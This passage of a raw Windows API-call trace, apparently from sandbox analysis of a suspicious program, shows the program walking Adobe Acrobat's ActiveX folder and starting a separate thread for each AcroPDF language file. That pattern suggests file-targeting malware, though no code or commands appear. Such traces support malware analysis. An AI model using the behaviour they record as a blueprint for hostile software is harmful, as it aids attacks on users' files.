ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.EUQ", cAlternateFileName="")) returned 1 [0127.371] wcscmp (_String1="AcroPDF.EUQ", _String2=".") returned 1 [0127.371] wcscmp (_String1="AcroPDF.EUQ", _String2="..") returned 1 [0127.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c470 [0127.371] wcscpy (in: _Dest=0x4205c470, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.371] wcscat (in: _Dest=0x4205c470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.371] wcscat (in: _Dest=0x4205c470, _Source="AcroPDF.EUQ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ" [0127.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0127.372] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.FRA", cAlternateFileName="")) returned 1 [0127.372] wcscmp (_String1="AcroPDF.FRA", _String2=".") returned 1 [0127.372] wcscmp (_String1="AcroPDF.FRA", _String2="..") returned 1 [0127.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c5b0 [0127.372] wcscpy (in: _Dest=0x4205c5b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.372] wcscat (in: _Dest=0x4205c5b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.372] wcscat (in: _Dest=0x4205c5b0, _Source="AcroPDF.FRA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA" [0127.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0127.373] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HRV", cAlternateFileName="")) returned 1 [0127.373] wcscmp (_String1="AcroPDF.HRV", _String2=".") returned 1 [0127.373] wcscmp (_String1="AcroPDF.HRV", _String2="..") returned 1 [0127.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cb50 [0127.373] wcscpy (in: _Dest=0x4205cb50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.374] wcscat (in: _Dest=0x4205cb50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.374] wcscat (in: _Dest=0x4205cb50, _Source="AcroPDF.HRV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV" [0127.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c [0127.374] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HUN", cAlternateFileName="")) returned 1 [0127.374] wcscmp (_String1="AcroPDF.HUN", _String2=".") returned 1 [0127.374] wcscmp (_String1="AcroPDF.HUN", _String2="..") returned 1 [0127.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c830 [0127.375] wcscpy (in: _Dest=0x4205c830, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.375] wcscat (in: _Dest=0x4205c830, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.375] wcscat (in: _Dest=0x4205c830, _Source="AcroPDF.HUN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN" [0127.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0127.376] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ITA", cAlternateFileName="")) returned 1 [0127.376] wcscmp (_String1="AcroPDF.ITA", _String2=".") returned 1 [0127.376] wcscmp (_String1="AcroPDF.ITA", _String2="..") returned 1 [0127.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205ce70 [0127.376] wcscpy (in: _Dest=0x4205ce70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.376] wcscat (in: _Dest=0x4205ce70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.376] wcscat (in: _Dest=0x4205ce70, _Source="AcroPDF.ITA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA" [0127.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205ce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88 [0127.377] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.JPN", cAlternateFileName="")) returned 1 [0127.377] wcscmp (_String1="AcroPDF.JPN", _String2=".") returned 1 [0127.377] wcscmp (_String1="AcroPDF.JPN", _String2="..") returned 1 [0127.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205dd70 [0127.377] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.377] wcscat (in: _Dest=0x4205dd70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.377] wcscat (in: _Dest=0x4205dd70, _Source="AcroPDF.JPN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN" [0127.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205dd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0127.378] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.KOR", cAlternateFileName="")) returned 1 [0127.378] wcscmp (_String1="AcroPDF.KOR", _String2=".") returned 1 [0127.378] wcscmp (_String1="AcroPDF.KOR", _String2="..") returned 1 [0127.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cf10 [0127.378] wcscpy (in: _Dest=0x4205cf10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.378] wcscat (in: _Dest=0x4205cf10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.378] wcscat (in: _Dest=0x4205cf10, _Source="AcroPDF.KOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR" [0127.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cf10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0127.380] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NLD", cAlternateFileName="")) returned 1 [0127.380] wcscmp (_String1="AcroPDF.NLD", _String2=".") returned 1 [0127.380] wcscmp (_String1="AcroPDF.NLD", _String2="..") returned 1 [0127.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c6f0 [0127.380] wcscpy (in: _Dest=0x4205c6f0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.380] wcscat (in: _Dest=0x4205c6f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.380] wcscat (in: _Dest=0x4205c6f0, _Source="AcroPDF.NLD" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD" [0127.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0127.381] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NOR", cAlternateFileName="")) returned 1 [0127.381] wcscmp (_String1="AcroPDF.NOR", _String2=".") returned 1 [0127.381] wcscmp (_String1="AcroPDF.NOR", _String2="..") returned 1 [0127.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205deb0 [0127.381] wcscpy (in: _Dest=0x4205deb0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.381] wcscat (in: _Dest=0x4205deb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.381] wcscat (in: _Dest=0x4205deb0, _Source="AcroPDF.NOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR" [0127.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205deb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0127.382] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.POL", cAlternateFileName="")) returned 1 [0127.382] wcscmp (_String1="AcroPDF.POL", _String2=".") returned 1 [0127.382] wcscmp (_String1="AcroPDF.POL", _String2="..") returned 1 [0127.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205de10 [0127.382] wcscpy (in: _Dest=0x4205de10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.382] wcscat (in: _Dest=0x4205de10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.383] wcscat (in: _Dest=0x4205de10, _Source="AcroPDF.POL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL" [0127.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205de10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0127.384] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.PTB", cAlternateFileName="")) returned 1 [0127.384] wcscmp (_String1="AcroPDF.PTB", _String2=".") returned 1 [0127.384] wcscmp (_String1="AcroPDF.PTB", _String2="..") returned 1 [0127.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205dcd0 [0127.384] wcscpy (in: _Dest=0x4205dcd0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.384] wcscat (in: _Dest=0x4205dcd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.384] wcscat (in: _Dest=0x4205dcd0, _Source="AcroPDF.PTB" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB" [0127.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205dcd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0127.385] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUM", cAlternateFileName="")) returned 1 [0127.385] wcscmp (_String1="AcroPDF.RUM", _String2=".") returned 1 [0127.385] wcscmp (_String1="AcroPDF.RUM", _String2="..") returned 1 [0127.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b00b0 [0127.385] wcscpy (in: _Dest=0x202b00b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.385] wcscat (in: _Dest=0x202b00b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.385] wcscat (in: _Dest=0x202b00b0, _Source="AcroPDF.RUM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM" [0127.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0127.386] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUS", cAlternateFileName="")) returned 1 [0127.386] wcscmp (_String1="AcroPDF.RUS", _String2=".") returned 1 [0127.386] wcscmp (_String1="AcroPDF.RUS", _String2="..") returned 1 [0127.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b01f0 [0127.386] wcscpy (in: _Dest=0x202b01f0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.386] wcscat (in: _Dest=0x202b01f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.386] wcscat (in: _Dest=0x202b01f0, _Source="AcroPDF.RUS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS" [0127.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0127.387] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SKY", cAlternateFileName="")) returned 1 [0127.387] wcscmp (_String1="AcroPDF.SKY", _String2=".") returned 1 [0127.387] wcscmp (_String1="AcroPDF.SKY", _String2="..") returned 1 [0127.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0330 [0127.387] wcscpy (in: _Dest=0x202b0330, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.387] wcscat (in: _Dest=0x202b0330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.387] wcscat (in: _Dest=0x202b0330, _Source="AcroPDF.SKY" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY" [0127.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0127.388] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SLV", cAlternateFileName="")) returned 1 [0127.388] wcscmp (_String1="AcroPDF.SLV", _String2=".") returned 1 [0127.388] wcscmp (_String1="AcroPDF.SLV", _String2="..") returned 1 [0127.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0150 [0127.389] wcscpy (in: _Dest=0x202b0150, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.389] wcscat (in: _Dest=0x202b0150, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.389] wcscat (in: _Dest=0x202b0150, _Source="AcroPDF.SLV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV" [0127.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 